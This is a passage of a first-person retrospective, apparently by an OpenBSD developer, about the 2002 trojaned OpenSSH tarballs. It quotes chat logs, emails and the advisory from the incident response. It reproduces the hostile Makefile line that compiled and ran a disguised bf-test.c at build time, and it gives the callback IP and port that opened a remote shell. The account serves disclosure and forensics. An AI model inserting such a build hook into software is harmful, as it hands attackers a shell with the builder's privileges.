Trojaned OpenSSH (In 2002)(slashdot.org)

This is a story I had been considering writing for a long time, as many
wrong or stupid things have been said or written at the time it happened.

Being on a quite sensitive subject, I have however opted to redact a few things,
especially the identity of two OpenBSD developers, as well as some IP addresses
and other minor details which could help identify them. They will be referred to
as dev1 and dev2 in this story. It does not matter who they are,
and they really are trustworthy.

The month of august 2002 did not start well for OpenBSD.

The source archives (tarballs) of OpenSSH had been replaced with trojaned
versions, without anyone at OpenBSD noticing. Other people started to notice
this, and tried to reach us; at some point,
Alexander Guy
was notified on IRC.

It was shortly after 8am here in western Europe on august 1st, barely
after midnight in Calgary, when he reported the problem on the OpenBSD
developers' chat.

anyone awake, who wants to look at the fact that openssh 3.4 appears to be
trojaned on ftp.openbsd.org?
WHAT?
miod: check out bf-test.c in ssh-keygen
-r--r--r-- 1 12187 mirror 401466 Jul 31 16:48 openssh-3.4.tgz
@ gcc bf-test.c -o bf-test; ./bf-test>bf-test.out; sh ./bf-test.out &
not good
that's out of makefile
bf-test.out compiles a heredoc internally, which is network code..
WTF
pval, can you phone Bob ?
connects to port 6667 @ 203.62.158.32
I can and I will, but it's 12:30 am
shit. do you know anyone who has access to the ftp server?
Theo maybe? He may be sleeping too though
Is it only ftp.openbsd.org?
Maybe I should just wake Bob up
file on cvs is ok
you are in canada
mickey, so?
oh no, it's bad on cvs too
argh
lemme try his cell before i wake his family up
ah, really
yo can call other dude
I'll remove it temporarily
How the #$#$ did it get trojaned?
tell me.
Oh you removed it already
checking portable too
http://www.andern.org/~a7r/outgoing/openssh_trojan.txt 0206260817
openssh-3.4p1.tar.gz changed from 0206260820 -> 0207270905

Meanwhile, other people were dissecting the backdoor.

To sum things up: an extra file, bf-test.c, masquerading as a test
program for the
Blowfish
cipher algorithm, and the following line was added to the Makefile,
to be run while compiling the sources:

@ $(CC) bf-test.c -o bf-test; ./bf-test>bf-test.out; sh ./bf-test.out &

This line would cause the bf-test.c file to be compiled, then run,
with its output redirected to a temporary file, which would then be run in the
background using the user's shell.

That output was a shell script which would in turn create another file
containing a simple C program, compile it and run it. That program would open a
network connection to IP address 203.62.158.32 on port 6667, and wait for input;
the other side could either let the program stop, let it wait for one hour, or
spawn a shell (hardcoded to be /bin/sh), letting the other machine
issue whichever commands it want from now on.

In other words, attempting to compile the trojaned OpenSSH code would allow the
machine at 203.62.158.32 to run arbitrary commands with the credentials of the
person doing the compile; which could very well be the root user.

This was a disaster. Thankfully, the packaging tools on most Linux
distributions, as well as on FreeBSD, would verify the checksum of the source
archive before attempting to do anything with this (which is likely how the
tampering was noticed in the first place.)

A comprehensive analysis was posted to
bugtraq
later
that day.

Within OpenBSD, people at this point were busy trying to assess the damage
and searching for other possibly compromised files.

does it make sense to compare cvs src against src on released cds?
art is doing that
try
theo, i'm reading diffs since cvs came up again

We also had to check all the connections to cvs.openbsd.org made at
the time of the file replacement, and before.

if someone can email me a list of my recent connections to cvs, i can
highligh any which look suspicious
that could narrow it down some
[...]
how many connects from the trojan target? (203.62.158.32)
whois.apnic.net tells me that address is ib melbourne
maybe i should go round and ask them
the guy took the machine down, claims someone compromised him
seems likely
i don't understand - you are a cracker, you crack cvs.openbsd.org
and all you do is add an obvious trojan to a file without even deleting
the pgp sig
it doesn't make sense
pval and theo already phoned 203.62.158.32
they are probably broken into, too.
but it's an IP# not a phoneno :-)
a first pass through the portable 3.4p1->HEAD diffs shows nothing
suspicious
djm, what are you checking? cvs?
portable cvs
in case it was my account that was hiijacked
do we know what in what timeframe the file was changed?
last 24 hours
wim, the mirror logs could tell?
i sent out a little mini advisory to some ppl asking for feedback.
trojaned files were dated 07/31 16:4x local time.

Evidence of a tampered account was soon found. A particular developer asked me,
similarly to djm but in private messages, if I could give him a list of the
connections to his account.

I ran a quick grep and had the unpleasant surprise of finding the address of the
machine the backdoor would connect to, in his connection logs.

Jul 31 16:44:53 cvs sshd[15840]: Accepted publickey for dev2 from 203.62.158.32 port 65502 ssh2
oops, was meant as a /m [private message]
Name: web.snsonline.net
Address: 203.62.158.32
it's the target ip of the backdor
so, it's me or root modifying the logs.
all connections from dev2 are XXX.YYY.ZZZ.TTT but this one, indeed.
or your evil twin
dev2, know AAA.BBB.CCC.DDD too ?
Aug 1 06:21:11 cvs sshd[22382]: Failed none for illegal user dev2 from AAA.BBB.CCC.DDD port 28950
happens twice
the second time a few minutes later on 28952
AAA.BBB.CCC.DDD is where i work
oh, ok.
my accounts was disabled at that time

Meanwhile, Niels Provos was working on the security advisory.

does anyone have the correct md5 sums? so i can put them in a prelim
advisory?
459c1d0262e939d6432f193c7a4ba8a8 dist/openssh-3.4p1.tar.gz
the GPG sig should also match
d5a956263287e7fd261528bb1962f24c dist/openssh-3.4p1.tar.gz.sig
MD5 (openssh-3.4p1.tar.gz) = 459c1d0262e939d6432f193c7a4ba8a8
anyone has md5 sums for the other versions?
i need md5 for 3.4 and 3.2.2p1
check the gpg sigs - i don't have md5s
niels: http://www.freebsd.org/cgi/cvsweb.cgi/ports/security/openssh-portable/distinfo
and compare to what distfiles we have
working on it.
[...]
Good:
9d3e1e31e8d6cdbfa3036cb183aa4a01 openssh-3.2.2p1.tar.gz
be4f9ed8da1735efd770dc8fa2bb808a openssh-3.2.2p1.tar.gz.sig
i am downloading all the releases now, will check gpg sigs and do a bulk
md5 on them

People were also discussing the backdoor itself.

that has got to be the dumbest trojan i have ever seen
why?
why what? many assertions were made..
It's the same style trojan that was in the irssi distribution a while
back.
you have write access to cvs and the best you can do is a build-time
trojan?
even I would had done more :)
so, either a dumbass figured a clever way of inserting a file onto CVS,
or there's something clever to be found.
you can not understand what goes inside the head of a script kiddie.
but why draw attention to yourself with a dumbass, easily detected
trojan?
scriptkiddies don't break cvs
havent been on in awhile, was it determined if user-level or root-level
access was acquired?
looks like user-level
but it can be root altering logs
back
given that the guy didn't change timestamps too.
miod, assuming the guy was just stupid is too dangerous here. we need
to check careful.
we have found no proof root was compromised, but can't disprove a
negative..
henning, I agree.
[...]
the backdoor was made to draw attention, with the same "signature" as
the dsniff/irssi/BitchX backdoors
mirrors started picking it up between 0h49 and 02h56 CET 01/08/2002
nobody serious about backdooring openssh would have done it like this.

anyway, more important now to figure out what else is damaged rather
than what happened, but the forensics are interesting
which vendor lists should i sent to?
cert, too?
2nd mail from cert.
hugh: or pass on to CERT, if we agree
cert sent me mail
send to freebsd-security, and ...?
our lists, bugtraq, unix-dev, cert?
i bounced to verndor-sec

That discussion wouldn't last long, everyone was reminded that, at this point,
we had no idea if anything else had been tampered in cvs.openbsd.org,
and a collegial verification of the source code was in order.

There is 40MB diff between 3.1 and -current. There is no chance that I
will be able to read all of that and not miss something important. Is
someone else doing some reading? We need to coordinate.

Provos published the advisory, less than ten hours after the trojaned
files were noticed.

CVSROOT: /cvs
Module name: www
Changes by: provos@cvs.openbsd.org 2002/08/01 09:50:48

Added files:
advisories : ssh_trojan.txt

Log message:
trojaned distribution files

The advisory can still be found online those days, at
https://www.openbsd.org/advisories/ssh_trojan.txt:

OpenSSH Security Advisory (adv.trojan)

1. Systems affected:

OpenSSH version 3.2.2p1, 3.4p1 and 3.4 have been trojaned on the
OpenBSD ftp server and potentially propagated via the normal mirroring
process to other ftp servers. The code was inserted some time between
the 30th and 31th of July. We replaced the trojaned files with their
originals at 7AM MDT, August 1st.

2. Impact:

Anyone who has installed OpenSSH from the OpenBSD ftp server or any
mirror within that time frame should consider his system compromised.
The trojan allows the attacker to gain control of the system as the
user compiling the binary. Arbitrary commands can be executed.

3. Solution:

Verify that you did not build a trojaned version of the sources. The
portable SSH tar balls contain PGP signatures that should be verified
before installation. You can also use the following MD5 checksums for
verification.

MD5 (openssh-3.4p1.tar.gz) = 459c1d0262e939d6432f193c7a4ba8a8
MD5 (openssh-3.4p1.tar.gz.sig) = d5a956263287e7fd261528bb1962f24c
MD5 (openssh-3.4.tgz) = 39659226ff5b0d16d0290b21f67c46f2
MD5 (openssh-3.2.2p1.tar.gz) = 9d3e1e31e8d6cdbfa3036cb183aa4a01
MD5 (openssh-3.2.2p1.tar.gz.sig) = be4f9ed8da1735efd770dc8fa2bb808a

4. Details

When building the OpenSSH binaries, the trojan resides in bf-test.c
and causes code to execute which connects to a specified IP address.
The destination port is normally used by the IRC protocol. A
connection attempt is made once an hour. If the connection is
successful, arbitrary commands may be executed.

Three commands are understood by the backdoor:

Command A: Kill the exploit.
Command D: Execute a command.
Command M: Go to sleep.

5. Notice:

Because of the urgency of this issue, the advisory may not be
complete. Updates will be posted to the OpenSSH web pages if
necessary.

It is also mentioned on OpenSSH's security page,
https://www.openbsd.org/openssh/security.html,
with this comment:

OpenSSH version 3.2.2p1, 3.4p1 and 3.4 were trojaned on the OpenBSD FTP server
and potentially propagated via the normal mirroring process to other FTP
servers. The code was inserted some time between the 30th and 31th of July. We
replaced the trojaned files with their originals at 7AM MDT, August 1st.

and duplicated as
https://www.openssh.org/txt/trojan.adv.

At some point, I let my mind wander a bit and put a coin back in the "what
if?" machine.

it would be so easy to add exactly the same backdoor to usr.bin/ssh in
the tree...
and we still don't know how they got in.
they did not touch any other files on monkey, when they backdoored
dsniff/fragroute
but they left ~dirt/.bash_history
Ah. so now we know who it was. :)

Interestingly, because the advisory mentioned files on ftp, people would
start thinking that the compromised system was the main ftp server, not
cvs.openbsd.org.

Also, a separate advisory written by
Edwin Groothuis
and published a few moments before Provos' mentioned that
"A Trojaned version of OpenSSH package has been found to reside on
ftp.openbsd.org's server" and may have contributed to the confusion.

This was a welcome diversion, as people would discuss the security of
ftp.openbsd.org (a Sun system running Solaris) rather than of
cvs.openbsd.org (an x86 system running OpenBSD.)

sigh. everybody thinks now that it is ftp.openbsd.org that got
compromised :-(
Because it is Solaris ;-)
isn't ftp.openbsd.old an old SunOS box?
Solaris, not SunOS
well, the ftp banner is deceptive then: 220 merlin FTP server (SunOS
4.1) ready.
beck does that
Yes, it is deceptive.
see smtpd
beck doesn't work here.
but i'll bug larry in about 5 minutes

Among the changes made since the
OpenBSD 3.1
release, one of the largest and most painful to review was the upgrade of the
in-tree copy of
GNU
binutils
from 2.10.1 to 2.11.2.

Sigh.. comeone could hide hindenburg in binutils and noone would notice.
A smart cracker would trojan libbfd.
[...]
ROTFL!
- memset(frag_now, SIZEOF_STRUCT_FRAG, 0);
+ memset(frag_now, 0, SIZEOF_STRUCT_FRAG);
binutils. :)
Yeah, there were a bunch of those.
wow
Some moron fucked up converting from bzero I bet

Art Grabowski was checking diffs at an amazing speed.

lots of diff in texinfo and sendmail.
Yeah, the sendmail ones will be large.
The way to diff sendmail is against the stock sendmail sources

Where did the diffs against 3.1 get put?
hugh, make your own.
safer that way.
The whole point of this excercise is redundancy.
bleah. 18MB diff left after gnu and kerberos.

On the next day, august 2nd, we were still operating in "damage control"
mode.

i have disabled all accounts that have not yet changed their passwords

Bob Beck would upload the latest offsite tape backup of the source code
repositories.

ok. ~beck/cvs.jul23.tar.gz now scp'ing in
when it gets there, it'll have:
MD5(cvs.jul23.tar.gz)= f9052c9c9d3acf4f47dcea9d95852d3b
how big is it?
it's the repositories from jul 23 tape backup, from sunsite.
[...]
-rw-r--r-- 1 root other 358847571 Aug 1 20:17 cvs.jul23.tar.gz
there's enough room there.
looks like it'll take about 30 minutes.
last commit to it was mickey's non-executable stack stuff

However, while the upload was progressing, I had a private conversation with
dev2, which made me realise that someone™ should at least initiate
the work on checking everyone's past connections to cvs.openbsd.org.

So I started splitting the /var/log/authlog files (which register all
the successful and failed logins using ssh), first by account name,
then by source IP address, in order to try to check all these IPs.

*dev2* any news?
-> *dev2* any news on what?
*dev2* openbsd
*dev2* or on the diff checking
-> *dev2* well, I guess everyone is slowly checking diffs, Bob uploaded a
likely-safe repo mirror grom 07/23 which makes easier to diff against.
*dev2* are you still in wheel?
*dev2* we could do for i in *; do grep $i /var/log/authlog| mail $i; done
*dev2* and everyone checks
*dev2* or not mail
-> *dev2* yes, but only Theo and pval have tho new root pw so far.
-> *dev2* oh... why not.
*dev2* be careful not to mail
*dev2* but store somewhere?
-> *dev2* yep.
*dev2* closed accounts and so on
[...]
*dev2* you can mail me my authlog, so i can check, ok? i won't login before
laptop is reinstalled
-> *dev2* sure, wait until grepping is ready
-> *dev2* is your .forward ok?
*dev2* yes i get mail from openbsd.org, what is in my fwd
-> *dev2* sent
*dev2* [all caps expletive deleted]
*dev2* i don't know 129.242.13.151
-> *dev2* lgserv3.stud.cs.uit.no
-> *dev2* July 25th, eh..
*dev2* eh
*dev2* yes
-> *dev2* I guess you've never been in norway during july.
*dev2* na
*dev2* lgserv3.stud.cs.uit.no is probably compromised, too
-> *dev2* so we can consider you key compromised starting this day.
*dev2* everyone should check
-> *dev2* want me to check < 07/24 logs for your key?
*dev2* well, unless someone modified .ssh/authorized_keys
*dev2* or sshd is broken
*dev2* you can mail me
-> *dev2* ok, whole log.
-> *dev2* only one connection from there
*dev2* only my account?
-> *dev2* checking ...
-> *dev2* yes, only yours.
*dev2* so i'm not paranoid enough
*dev2* you can grep -v AAA.BBB.CCC.DDD |grep -v XXX.YYY |grep -v EEE.FFF.GGG.HHH
-> *dev2* your pubkey had a password?
*dev2* so this is why i have no idea
*dev2* of cours
*dev2* 30 chars
-> *dev2* wow.
*dev2* but i run the agent
*dev2* i think 30 cahrs
*dev2* i use the ssh-agent from laptop
*dev2* helps against trojans
*dev2* in ssh client
-> *dev2* your grep still lists a lot of addresses for your logins
*dev2* and protocol detection for MITM
*dev2* can you mail me?
*dev2* there could be other dialin domains for modem instead of dsl
*dev2* ah you did
*dev2* and there could be hosts for when i was at niels/c2k2/usenix
-> *dev2* compare with dates, then.
*dev2* can you find more 209.115.217.214
*dev2* it's c2k2 i think
-> *dev2* only in your logs.
-> *dev2* no reverse dns.
-> *dev2* but dates 06/10 and 06/11 match
-> *dev2* or this might have been usenix.
*dev2* yes, perhaps
*dev2* whois does now work from here
-> *dev2* wait, bad grep, lots of 209.115.217.214 in other peoples' files.
-> *dev2* yikes! to ssh -lroot during c2k2
*dev2* -lroot ?
-> *dev2* "Accepted password for root from 209.bork.bork.bork. Likely theo when he
created pb, hennings and mdw account, in two sessions.
*dev2* probably
*dev2* i think it could have been at Niels
*dev2* at CITI
*dev2* httpd bug was not public
*dev2* i had httpd running
*dev2* should i mail to abuse@ ?
-> *dev2* dunno.
-> *dev2* I agree with Niels that you should at least contact the admins of those
two ip to warn them.
*dev2* the 1st was contacted yester day. it's the target of the trojan
*dev2* i'll contact the 2nd.
*dev2* via abuse? or what?
*dev2* root@ ?
-> *dev2* both. abuse might not exist.
*dev2* hm, should everyone ask you about connection logs? just in case?
-> *dev2* I'm polishing the logs to get, for everyone, all the ip they have been
connecting from (or trying to connect). then I'll ask everyone to
confirm they have been using those ip.

Meanwhile, the source tree review was progressing.

what is left over? I' through etc/ and half through duistrib/
disturb
henning. Everything is left.
I've read everything.
But at the end my brain was a bit spongy.
yes, everything should be read by at least two people, but does it
really make sense that everybody of us reads all?
read usr.bin and usr.sbin
focus on them.

Friedl, as the visible person for OpenSSH, was suddenly being asked a lot of
questions, by many people...

Dear Markus
Please could you give me a call at the number below? I'd like to talk to you
about the trojan discovered in a recent version of OpenSSH.
http://www.newscientist.com
151 Wardour Street London W1F 8WE
Tel +44 (0)207 ### ####
[all caps expletive deleted]
kein Mitleid fur markus..
since when does newscientist shows interrest in such cases?

*markus* jon@cs.uit.no wants to know where the attacker logged in to
*markus* should i tell him cvs.openbsd.org ?
-> *markus* I'd ask theo for advice first. He might not want to tell.
*markus* i sent the 1st mail with a german timezone
*markus* i'll wait for theo
-> *markus* you can already tell him that you want to get the approval of the
compromised system owner (in our case, cvs) before telling him.

Looking at the accounts who had connection for the largest numbers of different
IP addresses, I quickly noticed dev1's account had many. But this could
have been dialup, so I reached to him privately and sent him a mail with the
list of addresses.

-> *dev1* is your .forward on cvs reliable?
-> *dev1* nevermind, mailing you anyways...
*dev1* holy cow
*dev1* there are a number of ips there i dont recognize
*dev1* XXX.YYY/16, ZZZ.TTT/16, and SSS.RRR.QQQ/24 are the legit ones
-> *dev1* one of the unknown one resolves to .fi - did you travel for work or
somewhat?
*dev1* no, i have never been to finland
*dev1* this can't be. my passwd is > 20 characters, so is the passphrase on my
private key
-> *dev1* dev2 had a 30char password on his key, too )-:
-> *dev1* sending you full log for your account.
*dev1* this is very concerning
*dev1* i will look into it immediately
-> *dev1* wait, those are password logons!
-> *dev1* someone knows your pass...
*dev1* ?!#@
*dev1* what. the. fuck.
-> *dev1* or the logs are damn well-faked
*dev1* i know of no machine that can crack a 20+ character blowfish passwd
-> *dev1* neither do I. must be vulnerability somewhere.
*dev1* [expletive deleted] [expletive deleted] [expletive deleted].
*dev1* which netblocks are calgary?
-> *dev1* don't remember, but I grepped them out of logs.
-> *dev1* c2k2 209.115.217.214
-> *dev1* usenix 206.187.69.*
-> *dev1* theo's wavelan 199.185.13[67].*
*dev1* does it look like anyone else is compromised?
-> *dev1* dev2, very likely. and perhaps more, I'm not finished investigating and
asking people to check the IP they have been loggin in from
*dev1* i am very careful. long passwords, passphrased privkey, don't login from
untrusted hosts, don't blindly type "yes" to accept cvs keys.. :(
*dev1* don't use cvs passwd anywhere else..
-> *dev1* there must be a flaw in the authentication somewhere. dev2 also is
paranoid. do you run ssh-agent? dev2 does and thought it might be
related.
*dev1* WAIT
*dev1* Aug 1 05:35:28
*dev1* when did openssh trojan happen?
*dev1* was it yesterday morning or 2 mornings ago?
-> *dev1* trojan on 07/31 16:47
*dev1* ok
*dev1* i hadnt changed my passwd at that point then
*dev1* i do run ssh-agent, yes
*dev1* in X
*dev1* so best we can figure is unknown hole in openssh, great

So we had ourselves a second compromised account.

Meanwhile, Friedl told me privately that he was worried the first account
compromise might have occured before the date of the backup Beck was uploading;
after hesitating for a bit, I told Valchev to abort the transfer.

*markus* it could be too young
*markus* jul23
-> *markus* yes it is likely too young. but I do not want to tell everyone yet,
until I have get information for everyone's logs.
-> *markus* now this is probably a stupid decision.
*markus* /msg him
-> *markus* hmm, right
-> *pval* actually, no, stop this. this repository is too young, but don't
acknowledge it publically until I have finished checking all the logs
*pval* stopped it
*pval* what do you mean it is too young?
*pval* ouch...
-> *pval* dev1's account was compromised early june.
*pval* i see now (~miod/log/)

if anyone has not checked the security of their home machines yet
please tell me to disable your account until you do so
leave mine disabled over the weekend
i will be away
with machines at home off :/

I sent a first quick analysis report to a few people.

Date: Fri, 2 Aug 2002 18:41:13 +0000
From: Miod Vallat
To: Theo de Raadt, Niels Provos, dev1, dev2
Subject: More bad news

Apparently, dev1's account has been compromised since mid-june. We are
investigating the logs, but this includes login as dev1 originating
from these hosts:

Name: sievi.fi
Address: 194.197.220.8

Name: mars.raketti.net
Address: 212.146.0.34

Name: server.kopteri.net
Address: 212.246.72.18

Name: web.ctrlv.net
Address: 64.246.22.25

Miod

At this point, for every developer account on cvs.openbsd.org
(there were 93 of them), I would send a mail with subject "Your cvs
connection log", listing all the IP addresses I could not make
sense of, asking them to confirm that they were legitimate.

In particular, there had been many connections during
Usenix
in june, which appeared as unusual in the logs of some developers.

As an example, there had been one case of a developer using an internet
connection from his hotel room during Usenix.

Date: Fri, 2 Aug 2002 19:41:40 +0000
From: Miod Vallat
To: Daniel Hartmeier
Subject: Re: Your cvs connection log

> > 63.161.204.177
>
> This I don't, do you have a timestamp for when I accessed CVS from
> there? If it was during usenix, it might be the hotel room's
> address (of the Marriott in Monterey), stsn.com looks vaguely familiar,
> but I'm not sure.

Only one connection:

Jun 12 15:37:32 cvs sshd[21952]: Accepted publickey for dhartmei from 63.161.204.177 port 33743 ssh2

Miod

Date: Fri, 2 Aug 2002 19:51:19 +0000
From: Miod Vallat
To: Daniel Hartmeier
Subject: Re: Your cvs connection log

> Yes, that's it. I checked stsn.com's web site, they provide broadband
> to Marriott, and I used the in-room internet access on my first day in
> Monterey because wireless was not yet working. That must have been
> around June 12th. If that matches the cvs log, it's harmless, my laptop
> isn't compromised, either.

Confirmed by angelos. I did not know that some of us had used the
in-room access.

Miod

After the first few developers gave me such details, I would send messages
looking like this.

Date: Fri, 2 Aug 2002 14:30:11 -0600 (MDT)
From: Miod Vallat
To: random OpenBSD developer
Subject: Your cvs.openbsd.org connection log

Here is a list of all the IP addresses you have supposedly used
to login to cvs, over the last two months.

Addresses used during c2k2, usenix and lsm (if you had been attending)
have been annotated in the list. Some addresses from these events might
have been left unrecognized, though. We can check later when connections
from unrecognized addresses did happen.

Can you take a few minutes to check these addresses, and tell me if there are
any that you could never have used to login, which would tend to prove that
your account on cvs has been compromised.

Thanks in advance.
Miod

206.187.69.152 usenix
206.187.69.209 usenix
[other IP addresses following here]

Although I had not told publicly that I would send these mails, many developers
became aware of them, and some became worried as they didn't receive anything
from me.

*dugsong* can you send me any login records i have? aaron and ericj are telling
me i should review them also
-> *dugsong* your records are ok, that's why I did not send you any mail on the
subject.
*dugsong* could you please send them anyway? i'd like to verify, just in case
-> *dugsong* aargh, I have erased your logs, lemme regenerate them
[...]
*dugsong* thank you, looks fine. :-)

While sorting things and sending mails, I was also involved in several
private conversations on the developers chat.

One with Theo de Raadt, as he had read the "Bad news" mail:

*deraadt* sigh
*deraadt* with his keys?
-> *deraadt* password
*deraadt* password?!
*deraadt* holy shit
-> *deraadt* ~miod/log/dev1, bad ips are the non-OK in ~miod/log/dev1.ip
-> *deraadt* I'm half-done checking them and asking people for confirmation when
I can not identify all the hosts.
*deraadt* 65.101.201.71 is denver airport?
*deraadt* looks like it
-> *deraadt* likely, fgsch has it too.
*deraadt* and jsyn

Another with dev1, trying to figure out more unknown IP addresses:

*dev1* still there?
-> *dev1* yes
*dev1* ok, c2k2 we were on a sprint connection first day right?
*dev1* only unexplainable publickey authentications are 209.103.3.4
*dev1* Name: spc-isp-van-uas-16-3.sprint.ca
*dev1* that has to be legit, it's the day i arrived, and its a western canada address..

De Raadt was also worried about a particular developer from the
monkey group, which had been
targeted
earlier in may this year.

*deraadt* no ericj?
-> *deraadt* apparently no, but he's paranoid
*deraadt* i mean
*deraadt* where is his .ip file
-> *deraadt* he wants his old pwd erased
-> *deraadt* people that are ok gets their files removed, easier for me. ericj had only monkey.org and c2k2 and arbor.net addresses
*deraadt* there is no ericj.ip
*deraadt* oh ok
*deraadt* monkey?
*deraadt* i think that is the START OF ALL THIS
-> *deraadt* oh, so true. forgot this
-> *deraadt* regenerating all, wait a minute
*deraadt* if monkey is in there, it should be left
*deraadt* we know it is a problem
*deraadt* keys got stolen from there
*deraadt* dev2' keys are worrying too
*deraadt* but he was there for a week
-> *deraadt* checking again, there was no monkey.org in ericj.ip - only
arbor.net and his home cable modem ip
-> *deraadt* (all .ip files are there and I won't delete them, only annotate)

dev1 shared some thoughts with me.

*dev1* it simply seems that cvs was owned and they got my passwd that way
*dev1* i doubt highly that i was the attack vector at which they owned cvs
*dev1* keep me updated
-> *dev1* sure, I'm busy browsing logs and such, but don't worry, you'll know
what I'll find since you are concerned.
*dev1* most concerned about what happened to cvs, but also, would be nice to
prove my innocence ;)

Most developers were quick to provide details on their connection logs. For
example:

Date: Fri, 2 Aug 2002 20:06:35 +0000
From: Miod Vallat
To: Federico G. Schwindt
Subject: Re: Your cvs connection log

> > 65.101.201.251
>
> hmm, i'm not sure about this. i'm trying to check from where it comes.

Very likely Denver airport. Did you use wavelan there, with Theo and
jsyn?

> is this a general email to everyone right? or i am being suspected?
General email to all persons I have not enough knowledge of their ISP
and habits to prove their IP valid without their help.

Miod

Date: Fri, 2 Aug 2002 20:39:18 +0000
From: Miod Vallat
To: David Lebel
Subject: Re: Your cvs.openbsd.org connection log, tabernacle!

> > 199.185.231.5
> > 199.185.231.94
>
> duh! sparc.ports and sparc64.ports

Well, when you have 93 logs to check, you do not take the time to
reverse-dns all the IPs... I did this for the a-j block, now I'm tired.
And although these addresses were familiar, I did not recognize them.

Anyways, you're clean. Thanks for the info.

Miod

Date: Fri, 2 Aug 2002 22:03:25 +0000
From: Miod Vallat
To: M. Warner Losh
Subject: Re: Your cvs.openbsd.ord connection log

> These look good to me. The 206.168.13.253 address is my laptop at
> work. The .66 address is my machine at home.

Perfect. Your account is ok. Thanks for the information.

Miod

At this point, I had enough information to send a more detailed analysis report.

ok, summary sent to [private OpenBSD mailinglist]. I forgot to add a
"don't pan